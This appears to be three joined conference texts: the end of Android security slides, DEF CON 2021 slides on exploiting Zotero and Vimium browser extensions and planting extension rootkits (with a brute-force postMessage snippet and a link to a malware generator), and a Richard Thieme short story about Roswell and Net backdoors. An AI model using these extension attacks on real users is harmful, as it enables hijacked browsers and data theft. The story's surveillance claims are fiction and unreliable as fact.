public for fear of OEM fixing bug • Leaves everyone with major vulnerabilities WHY ARE PEOPLE ROOTING • Modding phones • Patching process is slow; users want access to latest and greatest releases • Tethering (Free additional features) WHAT CAN YOU DO? • Don’t assume lack of permissions means data is private • Does the app really need READ_LOG permissions? (Probably not) • Keep your phone patched up to date Users WHAT CAN YOU DO? • Users are trusting you with access to their private data • Be careful what you do with that... • Be paranoid about what you log • If others don’t need to access your components, enforce an access permission Developers WHAT CAN YOU DO? • See developer advice • Set a good example for other developers! • Why should they care if they leak private info if you are already doing it too? • Please patch your libraries/kernels OEMs QUESTIONS? Come see us in Track 1 Q/A room! REFERENCES • SDK Reference Docs http://developer.android.com/reference/packages.html • Jon Oberheide - Google’s Android Platform (CanSecWest 2009) http://jon.oberheide.org/files/cansecwest09-android.pdf • Jesse Burns - Exploratory Android Surgery (BlackHat USA 2009) https://www.isecpartners.com/files/iSEC_Android_Exploratory_Blackhat_2009.pdf • CVE-2009-1185 - https://bugzilla.redhat.com/show_bug.cgi?id=495051 • http://c-skills.blogspot.com/2010/07/android-trickery.html
pdf
EXTENSION-LAND EXPLOITS AND ROOTKITS IN YOUR BROWSER EXTENSIONS BARAK STERNBERG // DEFCON 2021 ABOUT ME • Barak Sternberg (@livingbeef) • Senior Security Researcher, Previously Author @ SentinelOne Labs. • “Hacking smart-devices for fun and profit” // DC28 IoT Village. • BSc & MSC in CS on algorithms (bioinfo) from TAU. • Focus from vulnerability-research (IoT, embedded devices, Linux and web apps) to analyze malwares in the wild. • DJ & Party Lover (mixcloud.com/barak-sternberg) MOTIVATION • More than 2 million extensions in webstores - attackers develop malicious ones & exploit. • Why Extensions? • More permissions (easy “uXSS“ to any origin) • Controlling you entire browser & more • Cross-platform – works on any desktop/OS • Easier to develop – “JS-malware” SYLLABUS 1. Intro to chrome-extensions 2. Extensions communication 3. Exploiting Zotero - “Jumping” from one chrome-app to chrome-extension. 4. Exploiting Vimium – from PRNG’s to uXSS. 5. Developing & Implanting an "Extension- Rootkit“ 6. Implanting a rootkit inside "good" extensions EXTENSIONS ANATOMY – THE BASICS • Content-Scripts – Extensions’ “frontend”: • Loaded inside “matching” sites (“sites extension works for”). • Runs in a special VM context (its own vars and private-world). • Accessible to site DOM. • Background-Scripts – Extensions’ “Backend”: • Run once in a special dedicated process. • Access to more API’s. • Persistent – non-site dependent. • Extension-Dir - %LocalAppData%\Google\Chrome\User Data\Default\Extensions\EXTENSION_ID\ • Extension-Manifest - Manifest.json (the manifest.xml of extensions) • Extension-Signature - Gets verified & checked at run-time. MANIFEST ANATOMY 1 2 3 COMMUNICATING IN EXTENSION-LAND • For Example, let’s say we go to https://google.com • For every extension the following interactions are created. *Picture Credit for “Attacking Browser Extensions” // Nicolas Golubovic CONTENT-SCRIPTS? • Example: Ad-Blocker wants to remove ad-iframes from your page. • How? It inspects the dom and remove them. • Example code: Let el = document.querySelector('div.slick-slide’); document.body.removeChild(el); BACKGROUND-SCRIPTS? • Example: Ad-Blocker wants to block/redirect specific URL’s. • How? It adds new “WebRequest-Hook” and filters requests. • Example code: function ad_listener() { if (e.url === “https://BAD_SITE”) { return {redirectUrl: “about:blank”}; } } browser.webRequest.onBeforeRequest.addListener(ad_listener); WEBSITES <-> EXTENSION’ CONTENT-SCRIPTS: 1. Cross-Origin Messages: • Content-Script: Defines “message” listeners • Website: window.postMessage(“DATA”, “chrome-extension://…”); 2. DOM Changes & Events: • DOM Events - onclick/onfocus/onload • DOM Queries – search div with class=X 3. Extension Accessible URL’s: • Manifest: “web_accessible_urls” (URL’s that can be iframed/opened by other sites) • Website: <iframe src=“chrome-extension://EXTENSION_ID/iframe.html”/> WEBSITES <-> EXTENSION’ BACKGROUND-SCRIPTS: 1. WebRequest Proxy: • Background script: onBeforeRequest/onBeforeResponse… 2. Tabs/Cookies/Storage Inspections: • Background-Script: chrome.tabs Hooks / cookies.get(…) / chrome.downloads / chrome.storage. 3. Externally connected pages: • Manifest: A URL “http://X.com” is defined as “externally_connectable” • WebSite: sendMessage API available on http://X.com: chrome.runtime.sendMessage(EXTENSION_ID, “DATA”) EXTENSION <-> EXTENSION PART 1 • All Website<->Extension comm is available. • “Externally_Connectable” sites/extensions are allowed – sendMessage to background available. • TCP/UDP connections. • Dependent on permissions. Cross-extensions Injection – of background-messages: • Extension 1 – injects code in HTTPS://SITE.EXTENSION2.COM : • chrome.runtime.sendMessage(EXTENSION_2_ID, DATA, ..); • Extension 2 – receives message, “thinks” its from its site! ZOTERO EXTENSION • Popular Academic extension used to organize citations/share research. • Works with the “Zotero-Desktop” (saves data locally). • Extension communicate with Zotero Desktop through TCP. ZOTERO TRANSLATORS OR “JUMPING” BETWEEN CHROME APPS/EXTENSIONS • Zotero Translators – • 500+ JS-Translators can get executed at every site. • XSS/”Supply-chain” attacks - https://github.com/zotero/translators/ • Zotero’s Translators’ have auto-update system - • Check http://127.0.0.1:23119/GetTranslators for updates (“Zotero-Desktop” first). • Translators need to update? Get new JS code at http://127.0.0.1:23119/getTranslatorsCode • Localhost Listener? • Download & Install my “Mappy” chrome-app! ☺ • “Mappy” – a Chrome-app with one permission - “chrome.tcpServer”. INJECTING JS IN ZOTERO CONTENT SCRIPTS: SANDBOX EXECUTION? Our Translator JS Executed INJECTING JS IN ZOTERO CONTENT SCRIPTS: SANDBOX EXECUTION? Our Translator JS Executed WITH CONTENT: EXPLORING ATTACK SURFACE OF CONTENT-SCRIPTS • Inside content-scripts: • sendMessage/Connect • Access to shared extension URL’s • Storage/Configuration • Inside Zotero Background Scripts: • An interesting “eval” inside google docs integration • Why and how it is done? WITH CONTENT: INJECTING JS INTO ZOTERO BACKGROUND CONTEXT Prefs from chrome.storage Injecting Scripts WITH CONTENT: INJECTING JS INTO ZOTERO BACKGROUND CONTEXT Eval execution In Background WITH CONTENT: INJECTING JS INTO ZOTERO BACKGROUND CONTEXT • Config Injection? • Chrome.storage.local is shared across content & background scripts! • Inject new config from content-scripts. • Trigger XSS inside background-scripts ☺ • Loaded every time background context re-starts. “FULL-CHAINING ZOTERO” DEMO VIDEO VIMIUM’ING FOR FUN AND PROFIT Vimium: Extension that convert your browser into a “vim-like” • Easy Browser Navigation without mouse. • Keyboard shortcuts like VIM to copy/search/navigate. VIMIUM’ING FOR FUN AND PROFIT Attack Scenario: You can make a user execute JS in your site (e.g: Ad, site, permission-less third-party extension, etc). Goal: Attack Vimium Extension. Vimium Widgets: • Vomnibar widget • Helper widget • Visual-mode widget VIMIUM’ING FOR FUN AND PROFIT 2. Vomnibar iframe added 0. User Clicks “O” & Enter 1. Vimium Content-Script catch it & adds iframe 3. Authorize to iframe & postMessage with “vimiumSecret” token. 4. Vimium Content-Script & Vomnibar iframe communicate freely. Website Context Content-Script Context VIMIUM’ING FOR FUN AND PROFIT: BREAKING THE VIMIUM SECRET #1 “VimiumSecret” Generation: • Very “State-of-The-Art” Random Number Generator: chrome.storage.local.set({vimiumSecret: Math.floor(Math.random() * 2000000000)}); • Math.random prediction works in same-process, the token is generated inside background process  • Bruteforce? • Inject vomnibar iframe • Try to connect? VIMIUM’ING FOR FUN AND PROFIT: BREAKING THE VIMIUM SECRET #2 • Bruteforce PostMessage’s 101: • If success – Getting success response through “channel.port1” • If fail – No response WebWorkers stays-up: as long as chrome & website not closed actively - • Works when the screen is closed. • Works when tab/window is hidden. let secret_to_bruteforce = 0xdeadbeef; d = document.createElement('iframe'); d.src = 'chrome-extension://dbepggeogbaibhgnhhndojpepiihcmeb/pages/vomnibar.html'; document.body.appendChild(d); d.contentWindow.postMessage(secret_to_bruteforce, '*', [channel.port2]); VIMIUM’ING FOR FUN AND PROFIT: VOMNIBAR COMMUNICATION • What is the communication between “Vimium” Content-Script & Vomnibar iframe: • Search for URL completions • Activate search / jump to new URLs. • Search for hints & Auto-completion. • Run JS code. VIMIUM’ING FOR FUN AND PROFIT: VOMNIBAR COMMUNICATION • What is the communication between “Vimium” Content-Script & Vomnibar iframe: • Search for URL completions • Activate search / jump to new URLs. • Search for hints & Auto-completion. • Run JS code. VIMIUM’ING FOR FUN AND PROFIT: VOMNIBAR COMMUNICATION • What is the communication between “Vimium” Content-Script & Vomnibar iframe: • Search for URL completions • Activate search / jump to new URLs. • Search for hints & Auto-completion. • Run JS code. VIMIUM’ING FOR FUN AND PROFIT: VIMIUM COMMUNICATION #2 How Vomnibar handle javascript scheme? • Tries to find auto-completion. • Calls background-script method to find relevant auto-complete. • Background-script “sendMessage” back to sender tab’s content-scripts. Problema? • How about placing another iframe inside our tab? • Vimium Content-Scripts are loaded at any iframe on tab. • No validation for targeted url/frameId – JS executed in all iframes! Why? Read sendMessage reference: “The runtime.onMessage event is fired in each content script running in the specified tab for the current extension.” VIMIUM’ING FOR FUN AND PROFIT: CONTENT-SCRIPTS MESSAGING INJECTION 1. Content-Script send message from a specific iframe. 2. Background-scripts send message back to this tab. 3. Content-scripts inside another iframe receives message as well! 4. Content-scripts inside the sender iframe also receives a message! Content-Script Context Background Context VIMIUM’ING FOR FUN AND PROFIT: UXSS DEMO PERSISTENT JS INJECTION INTO ANY EXTENSION OR GOTTA LOVE KUNPACKED • Scenario: Post-Exploitation, Managed to run code over users’ device. • Goal: install a persistent “rootkit” • Extension unpacked-mode? • Argument –load-extension=YOUR_EXTENSION_PATH • Replace original extension – keeps its ID but still can change files/perms. • Modifying “good” extension: • Adding Any permissions as needed – cookies/tabs/sites and more. • Full File-System Access (Read-Access) • Hidden – All is done in chrome context • Access to user cookies, mail, data, tabs, and much more in user context. KUNPACKED DEMO TIME KUNPACKED DEMO TIME Replacing extension – How it looks like? • Installed-Extensions List stays the same. • Google WebStore “thinks“ it was installed correctly. • The Icon stays almost the same (identifiable only in chrome://extensions tab). INTRODUCING “MALTENSIONS”: GENERATOR FOR JS-MAWARE INSIDE EXTENSIONS Utility to generate and test malware-techniques inside your browser extensions. Code: https://github.com/barakolo/Maltensions Featured-Techniques: • Inject & run JS in hidden context inside tabs. • File-System Access /Access to sites/tabs/user-storage data. • C&C communication. • Output Formats: • Unpacked extension mode • JS to inject inside your favorite extension. CONCLUSIONS 1. Extension can be abused for “PE” – • Extensions may abuse others to gain privs & stay hidden! 2. Detections will get harder – • Injection of malicious scripts inside “good” extensions! • Hidden techniques to exfiltrate data! 3. More Attack surfaces to explore: • inner communication (cs <-> bg, bg <-> website …) • Attack surface from one extension to another. • storage mis-configs & injections. 4. Malicious extensions are here to stay! THANK YOU! CREDITS & EXTRA-MATERIALS • p.4,12,33,41 - URL & picture credits - Generated & Downloaded from - https://imgflip.com • p.3 – picture Credits go to Mozilla Foundation / Mozilla Firefox & Google, Google Chrome. • p.19 – credit goes to https://memecreator.org. • p.18,22,38 - https://www.pinterest.at/pin/410672059765026188/ / https://knowyourmeme.org / https://memesdroid.org / https://tenor.com/view/hacker-gif-18087134 • p.28 - https://gfycat.com/gifs/tag/schrute • p.12 - https://memegenerator.net/instance/57339379/spongebob-rainbow-communication • Any other picture/extra-materials being used, besides the lecture content, are fully credited to their respective owners, if an author/any owner wants to add copyrights/credits – please contact us and it can be added accordingly.
pdf
ZeroDay: Roswell by Richard Thieme I used to think that death bed revelations were nonsense. I knew lots of guys who kept their vows to the last breath. Some even spread disinformation as they died under torture. Intelligence professionals have discipline that sticks, most of the time. I was sure that I did too. Then I got the diagnosis. Cancer, inoperable. All through the gut. Stomach, liver, the intestines. As if I couldn’t guess. Luckily we manage pain well these days. I feel as much as I want to feel. The pain reminds me that my life is nearly over. I don’t want to forget that. A morphine haze reduces the urgency I need to make myself tell the truth. If I find myself drifting into a fog, dreaming about something in my non-existent future, I ease up on the meds until I vomit, bent double and clutching my gut, then take pills until I’m coherent again but can still remember that I only have a day or two left. I am writing to three of you (you each know why and do not need to know the identity of the others) and sending one copy to a writer who will know how to use this information. He is not one of the usual suspects, not a name you would know, certainly not one of the useful idiots we use to spread disinformation. (We have more reporters in our stable than stars in the sky. And they say that two sources validate a story!) I am giving it to a man who understands that fiction is the only way to tell the truth. I am also giving the story to a blogger, but just one. So real gold will be buried on the Net like the dwarf did in that fairy tale. (That’s an inside joke. You’ll understand in a minute.) You remember the fairy tale, right? A guy forced a dwarf to tell him where gold was buried in a forest? But he didn’t have a shovel? So he tied a scarf around the tree and went to get one after making the dwarf swear he wouldn’t untie it? But while he was gone, the dwarf tied scarves around all of the trees? So one blog, at least, will have it right. My God but this pain is intense. With each wave, more of the contents of my life tumble into the darkness. I feel pieces of myself fall away with every breath. Memory modules disconnect and disappear—so many stories, so much distortion, so many lies. I don’t even know what’s true anymore. 2 I have been instrumental in building the false history that you live in, that you believe. I created false points of reference to anchor your beliefs. You have been wandering in a mist, thinking the sun was shining brightly. I confused the darkness for the sunlight, too. Is that any consolation? Maybe that’s why I want to tell you the truth about Roswell. I just want to shed a little real light before I die. The human condition is hard enough, what with death mincing our memories, shredding the fabric of our shared mythical history. Many events leave no record at all. Orders were whispered and once they were carried out, the deed never happened. Most real history disappears. The narratives that remain are often bound together with glue to create illusions, but over time, even those lose the ability to stick. Things fall apart. Nothing is what it seems. Working in the intelligence community all my life, I know how most nodes, the keys that unlock the real stories, are hidden or were altered to blend in with an acceptable narrative, the consensus reality in which you live. Without a point of reference, don’t you see, you can’t know what you don’t know. But the points of reference are hidden on other planes in some kind of complex non-Euclidean space. Most of us Masters know some but not all, a few of us know most. Those nodes require keys to a code, but even if you had them, they would lead you into a cul-de-sac. The solutions to the puzzles are always layered, and to see it whole, you would have to go through a portal into hyper- dimensional space and turn around and see how everything looks from there. Enigma is one example. There are many more. Before it was known that the Allies cracked the German code, everything written about the war, about Churchill, what he knew when, what FDR might know, was written from a false point of reference. Once historians knew that he knew what he knew and when, everything shifted, the entire context of how you humplings knew your own history shifted. History not only looked different, history was different. What you thought you had lived was seen in a parallax view. It makes you dizzy to realize this, I know, so you recoil into a saner, more comfortable place. It is going to take energy for you to listen to what I am saying. But please do listen. Please, you who for a moment are free of pain and live in the light and think the darkness will not win. That’s one of the myths you celebrate in story and song. But I am already fluctuating between the fading light and the immense waiting darkness and I can see that the darkness does win. It does. So please, please listen. I am going to alter your beliefs. However disingenuous I may sometimes seem, I want to bequeath to you humplings the little bit of the bigger truth that I still have. Oh? You’re not familiar with that term, humplings? 3 Let’s say that humanity makes up a bell curve and it looks like an animal, OK? It has a snout, a big hump and a tail. Ten per cent live in the nose. Ten per cent live in the tail. Up front are the Masters who manage reality. That’s us. Back in the tail are the dregs. They’re benchmarks that humplings use to tell themselves they’re doing fine. That’s why we keep them. The eighty per cent that live in the hump—that’s the humplings. That’s you. You inch along inside a shared consensus like a huge worm. Your world is defined by things that are real but they’re contextualized by those points of reference I mentioned, the ones we provide. The index by which you arrange memories and thoughts, in other words, creates an illusive matrix in which you live but which you never see. Fish in water. Humplings in a hump. Since shortly after World War 2, we have managed that hump. We had to, don’t you see. Humplings don’t know what’s best for themselves. Humplings are happiest when kept busy and not quite comfortable. Then you buy things you don’t need in pursuit of a peace you will never have. The thirty year mortgage, one of our ideas, was sheer genius. During your potentially dangerous years, it keeps you invested in stability, chasing a dream. Because you want to keep believing what you believe, you’re easy to deceive. We use sleight of hand or illusion, and if something leaks, we discredit or ridicule the sources. Then we can hide it in plain sight. Everyone swears it isn’t there and walks all around it. We Masters make history, then hide it. We have put so many people into power, if I were to tell you their names, these political figures around the world we have assisted in different ways, you’d be amazed. The list is long, and the names are distinguished. But this isn’t a primer on the Big Picture. I need to tell you just enough about our work to help you make sense of the Roswell event. But first, you need some new points of reference. You do want to know, don’t you? I mean, ever since you heard that an alien spacecraft might have crashed in the New Mexico desert in 1947, ever since you heard that alien bodies might have been found or that a rancher maybe showed his kid material you couldn’t burn or break, ever since you heard of technologies we might have seeded into R&D, giving them to Bell Labs, Xerox Park, RCA, IBM and other friendly household names so alien technologies would become part of the history Americans pretend to have invented–you do want to know how much of that was real, don’t you? Think of how the story came to you in pieces. When did you first hear it? What did you hear? You can’t remember, can you? It’s all a confabulated blur. Where do you get your information? From television, right? From a joke in a sitcom or on a talk show, from books or movies or reading tabloid headlines while waiting to pay at the supermarket – that’s how we do it, slipping it little by little into the known and familiar, using repetition and reinforcement until there’s a shared memory. You repeat those falsehoods to each other until they become facts. 4 You can’t change reality, but you can change the facts. Anyway, the grays that crashed in the desert were not the first. Aliens had been exploding out of portals for centuries, keeping us under surveillance. Sometimes they landed to check our reactions. Chariots in the skies, visions of angels and saints. Once we were able to see them as machines with people from other places, they altered their strategy, showing themselves but keeping a polite distance until we were used to their presence. Like NORAD telling radar guys to ignore the blips, those are only “visitors” coming down the coast at impossible speeds. It became like walking through pigeons in the park, not even noticing they’re there. Some look a lot like us and blend in well, studying our languages and cultures, doing a physical now and then on a “volunteer.” They did sophisticated brain scans long before we even knew how electric we were. Mostly they maintained sentinels until—now, I don’t know this for a fact but we believe it’s the least unlikely hypothesis—we were on the brink of becoming a Second Level species. Then they paid closer attention. This is inference, I want to be clear about that. I know why I believe it but I can’t tell you. There’s too much back story, not all of it verifiable, and anyway, there isn’t time. I wish I had started telling the truth sooner. I was involved plenty but not at the top. Smarter people than me are managing this thing. We relate to one another through a compartmented matrix of need-to-know modules and comprise an elite managerial class. Of course, sometimes we’re as bumbling as humplings but we always forgive ourselves quickly. We have developed quite a confident culture after several generations of sanctioned protected malfeasance. But I digress. (I need to take a pill. Please wait). OK. Here’s an example you ought to be able to understand. Most of you use the Internet, right? OK, good. The Internet is a two-edged sword. Like speech or writing or printed words, any symbolic matrix invites projections. We empty the contents of our minds, our souls, even, onto the symbols. We can’t help it. We reveal ourselves every time we communicate. The Net sucks everything out of us, good bad and indifferent. Bad guys use the net too. (We’re the good guys, remember; whoever we’re fighting is bad.) After Northwoods Two, when the war on terror cranked up and the flow of funds and the fear that fuels it was at a level needed to keep you guys manageable, the evil doers ramped up their use of the Net for all sorts of nefarious purposes. They planned attacks, moved money, communicated with stealth. Their web sites multiplied like roaches. 5 Now, that fact alone made humplings anxious, just knowing how fast the sites were growing. We amplified your fear by using the “nightly news” to do “in depth” features on terrorist web sites. They would show a few photos with a voiceover that distorted what viewers saw, added a few sound bites, hell, the entire text might be no more than eighty words, all designed to frighten you. Then ads would soothe you and you would go out and buy a ton of stuff. Some of you, however, quite predictably, became enraged. Fear turns to anger easily, especially in men afraid to feel fear. Then you have to do something to discharge the emotion. If you’re a hacker, you’ll attack those web sites, thinking you’re helping the cause. But invisible enemies are dangerous. We don’t want the web sites down. We want them up so we can track who visits, watch what they download, see who talks to who. It’s their highway, too, and that way we can track their cars. So when a well-intentioned humpling defaces or DOSes an enemy web site, we have to go in and put it back up. In the past, we invented anonymizers, built email programs like Hotmail and migrated them into the public domain, made all sorts of honeypots. Half the attractions out there, the most attractive attractions, we made. We have partnered from the beginning with the big guys, don’t you see. We built remote access into the chips, into all the hardware, in fact, even printers, as well as the software that’s now a platform for the business of the world. We go into telecom networks at the front door, sniff cables on the ocean floor, have thousands of redundant sensors in space to watch everything. You can’t sneak out for a cigarette but that we detect the smoke. We’re plugged in at the root, have back doors into most components—we don’t even intercept signals much anymore. We just sit back and let the data come to us. The whole network is metered. If someone uses crypto, it’s already cracked, and the fact of its use tells us they’ve something to hide. We encourage paranoia by planting those stories, then fear makes people predictable, they go on automatic and they’re easy to track. Some of those bad guy sites were a real mess. They didn’t have a clue how to write code. We had to do remote administration, install fire walls, close holes, apply patches. Sometimes we kept the holes open, of course. That’s how we get in. So when some do- gooder tells the world about a software flaw, we have to get to them right away and tell them to stop. Those holes are useful. You can’t exploit a secure Net. So well-intentioned humplings are a headache. They want to do good, when all we want them to do is nothing. We want them distracted. We don’t want partners. We don’t need partners. All we need are secrecy and the vast resources of potentates and kings. Stay with me, now. OK? I’m telling you this so I can show you what the aliens did. This has a point. 6 It’s not easy, I know. Humplings are not used to thinking outside the lines, and it’s hard for Americans anyway to understand other cultures. We don’t appreciate people who blow themselves up, for example. Even though we do it too. But we make it look different, like something Americans do. Then you don’t notice. After we realized why the grays died in the crash, we experimented with chemicals to make our soldiers ferocious. Nothing worked. They killed each other and everyone in sight, not just enemies. We’re getting there, though. Now we know that the fear of death or the fear of anything, really, is a function of protein clusters. Strathin, for example, a protein chain that effaces fear. We’re using it to create warriors who will do just about anything. Berserkers, we call them. In the past, we had to wait for their random appearance in a population. Now we make them. Berserkers are our version of guys willing to commit suicide. We hide the purpose in the concept of a “hero” and send them down a parade route off to war. The aliens knew how to make grays fearless when we were just learning to store data by making incisions in wet clay. Grays are the little guys with the big heads and big eyes that seem to hypnotize people (it’s really a kind of magnetic induction—their brains, like ours, are resonant with energies transmitted in fields, but they’re more intentional about it, and of course, their large designer brains do it better). Anyway, they made grays both with and without fear. The latter we called their suicide crashers, once we knew what they had done. The four small beings found dead or dying at the crash site had volunteered to die for the mission. They made it look like an accident because they knew that our species, barely sentient after a long preparatory sleepwalking sort of ascent, still thinks accidents happen. The Aliens knew our weapons were getting better, and our propulsion systems, communications, materials science, everything was leapfrogging ahead thanks to our frequent wars. They knew our science and saw that relatively soon, our practice would follow from our theories. We would become dangerous, maybe pose a threat to some of their allies. Even without their help, we would one day learn how to open portals and use them to slip through spacetime. It was implicit in our physics. They knew we would discover how they went into black holes and came out of white, how they could bunch up spacetime like a rug and bring it from there to here in a snap. They knew we would learn how to negate gravity and use arrays of lasers to create negative energy, then make black holes big enough to exploit. They decided they would lose little in the long run by accelerating our progress. They sacrificed a pawn to take a queen. They gave us the means of advancing faster along the road we were already traveling in exchange for direct access to our thinking. Imagine the scene. The hole in the hillside, the remains of the wreckage sticking out, was still smoking. The perimeter had been secured. We had cover stories to give whoever 7 showed up related to whatever clearances they had so they could make sense of what they saw. It’s dark out there in the desert on a moonless night. We didn’t have night vision then – that was one of the technologies in the wreckage – and we didn’t want to light the place up like Times Square. Hundreds of workers on hands and knees with lights on their hats like miners scoured the site so everything would be gone by dawn. When they finished they brought in shovels and removed the top layers of contaminated sand, then molded the landscape back so no one could tell. Two grays were dead on the ground. One was nearly dead. The other was injured but alive. Our medics were useless. The transparent fluid circulating in their well-machined bodies was beyond our understanding. This is when we still thought that “natural” and “artificial” were meaningful distinctions, remember, that “made” and “born” meant different things. The third alien died in minutes. The forth was leaning on a rock, gasping for breath. It was suffocating but we didn’t know that, we didn’t know if the noises indicated pain or distress or whether it was trying to say something. As it turned out, it was all of the above. It knew that imitating our speech, making noises that carried in the air, that is, wouldn’t be intelligible, so the being reached out to the small circle of concerned personnel crouching around it with intense beams of electromagnetic energy. Everybody got headaches. They thought they inhaled something toxic. But the gray was simply sweeping a shaped field through an arc to try to tell us that we had taken one or two steps in a journey of a thousand and were just beginning to climb from the vast cave of night into the starlight. When they were all dead, we shipped the bodies on different flights to Texas and Ohio. They were packed up and crated in the desert, not back at the base. All that nonsense about the mortician and the nurse, that’s crap. Those stories were part of a Loch Ness scenario, locals trying to create a tourist destination. The counter intelligence guy at the base was terrified when he read the message we told him to send, that one of those flying discs had crashed and we had the wreckage. He should have sent it with a “destroy” memo on a data page but was too freaked. So later I had to track them down and change “disc” to "weather balloon.” We amplified that into Project Mogul once we could. That’s not speculation. That happened. I know because I did it. Anyway, we had protocols for investigating crashes, first, of German, then Soviet planes. We collected everything and wiped out any traces that remained. We transported all of the material in special containers for analysis and subsequent distribution. We put our clothing in special containers too. We seized material a rancher had gathered. We 8 rounded up witnesses and kept them in a room for hours. We threatened them with big fines and prison time if they said a word. We told them how traitors were discredited, their careers and reputations destroyed. We alluded to people who had disappeared, who turned up dead one day, victims of “sudden adult death syndrome.” Everyone signed a secrecy agreement with heavy penalties and then went home. We followed them out into the desert night. I have lived in that long desert night for sixty years. Dying made me see the light: the light is everything, everything that matters. Darkness is the enemy. I spent my entire life in that darkness. Now I must betray it. The small craft that crashed was not what they used for serious trips. Their mother ships are immense—some are half a mile long. They park them remotely and disguise them as space junk, just as we do with backup and killer satellites. But the little ship had plenty of treasure. Over time we fed everything into R&D. We were developing fronts and proprietaries then that made it easy. The President obliged by giving us carte blanche to do as we liked. Money went to fake foundations with one or two members who transferred it to the Ford Foundation, say, or the Rockefeller Foundation or any of the hundred foundations that existed only on paper. Then it flowed onto balance sheets written with invisible ink, winding up in corporate and university labs. On the government side, we began budgeting black projects and millions of dollars, later billions, were hidden in existing missions. Seeding projects was easy. Keeping secrets was easy. The problem was understanding what the stuff was, what it was good for. Some of it, we still don’t know. We didn’t have fiber optics, integrated circuits, networks of computers, don’t you see. We didn’t know that humans are electromagnetic systems for animating chemicals, that our brains can be tuned to wave functions to fly ships or fire weapons, make things move. We didn’t know that consciousness was non-local or that we could see anywhere we could think. We didn’t know then that sentience was everywhere, linking up. Do the research. Follow the money. See how historians say that microchips and lasers and super-tenacity fibers were invented. Map the process through a paper trail and computer files. Use FOIA, for heaven’s sake. It looks like everything really was invented here, doesn’t it? That’s what we did. We thought we were so damned smart. 9 When you’re dealing with alien civilizations and lack points of reference for how they think, how they construct reality, you don’t know how the pieces fit. There’s no picture on a puzzle box. We believed the event was the accidental crash of a small exploratory crew. The event, in fact, like everything else, was dual use. It served their purpose and ours at the same time. It was beautifully designed and executed. Let’s give them credit for that. The technological benefit to us was immense—they knew what we valued—but what we created had even greater value for them, for these species that had watched us for ages and watched again as we took their gifts and swarmed out of a dark cave like bats at twilight and colonized our solar system telerobotically with an aggressiveness they knew needed to be modified or managed. They couldn’t take any chances. They had to understand the mind of the whole hive. The military industrial complex—add education, entertainment, and the media to the mix—used those tools to build the Net. It was built for easy access, based on trust, as if built for a single tribe. But tribes also distrust one another, and as the Net became a platform for the whole planet, we exploited those attributes to create a capacity for ubiquitous surveillance, data mining, intrusion on a panoptic scale. With back doors in every system, space loaded with multi-spectral ever-open eyes, we had the whole world locked down. We were the smarty-cats that ate the canary. We were the top of the top of the food chain. We became complacent. We opened the gate and wheeled in the Trojan horse. We found technology in an “accidental crash” and used it to build the Net, just as they intended. Then we did our thinking on the Net. We poured out the contents of our minds and psyches for everyone to see. Too late we realized what we had done, too late to disconnect mission-critical military and intelligence nets. But it wouldn’t have mattered if we had. Back doors were implicit in how we used the tools they gave us, how we had to use them, given what they were. Self-revelation is axiomatic to the architecture of the Net. We might as well have sat naked in our bedrooms, shivering in the dark, waiting for the doorknob handle to turn. We were patsies. We were playing a game that was way over our heads. They crashed so we would reverse engineer the technology we found. Did anyone wonder at the time why it was all intact? No. The obvious is invisible. Obviously, if they had wanted to destroy the ship they would have wired it to explode. We never war-gamed a vehicle coming to us bearing technological puzzles tailor-made for the kinds of games we like to play. 10 So we built a platform onto which humankind projected the contents of its soul. Then anyone with access could understand us better than we understood ourselves. We revealed ourselves in embarrassing detail. No longer did our visitors have to sit in libraries, doing tedious research, or listen endlessly to mind-numbing sitcoms that taxed the limits of even their mission-specific brains. They did not have to go to any more cocktail parties and pretend to enjoy themselves while they took notes. We told them everything, everything about us. Now they know. And now, you know too. I swore I would never tell. But I am dying and my family is in hiding. I want to shine a little light before the darkness swallows me up. Our only hope is to link up. They seduced us into building the Net. Now we must use it to transcend ourselves and transcend our former purpose and perhaps theirs. Something genuinely new can still come of all this. I know it’s hard for you to grasp how you were duped, how you have lived your lives in a maze you could never escape. You were hoodwinked, you were conned by the Masters who manage your planet, an elite that pretends to care for and tend you. But we too were conned. By diverse unnamable incomprehensible species from the stars. Once the shock diminishes, once you accept that you were betrayed, please trust each other even if you can’t trust us—and how could you, after what we did? Please be motivated deeply by a thirst for revenge. Use that primitive gene to get back into the game. Maybe they planned this move too. Maybe they’re fifteen moves ahead. Maybe we play in four dimensions and they play in M-space. Who knows? Not me. I only know we have been deceiving you humplings with false stories for years. I didn’t know we were also deceiving ourselves. We said we did it for you, but in fact, we were drunk on power and needed control. Our goal was the social, economic and political control of the planet. You were expendable. I used you. I’m sorry. I knew what I was doing but I didn’t know the cost. So that’s the story. Roswell was a zero day and this is the moment of disclosure. But like most disclosure, it’s too late to do anything about it. The zero day is everywhere. We are owned. 11 But we can still make it work for us. Everything is dual use, as I said. They can’t play the game if we aren’t here. Hackers don’t crash the Net because then there wouldn’t be a game. The Net should have crashed many times but someone always stood it back up. Domain Name Servers are loaded with holes, but someone keeps patching them. Someone remotely administers the Earth from a mother ship in the Kuiper Belt. Someone wants us in the game. Perhaps you can use the hive mind we have created on the Net to lose and find yourselves, to self-transcend and play the game at the next level with a new handle on your altered identity. Do what you can. That’s all I ask. We got you into this mess. It’s up to you to get us out. # # #
pdf
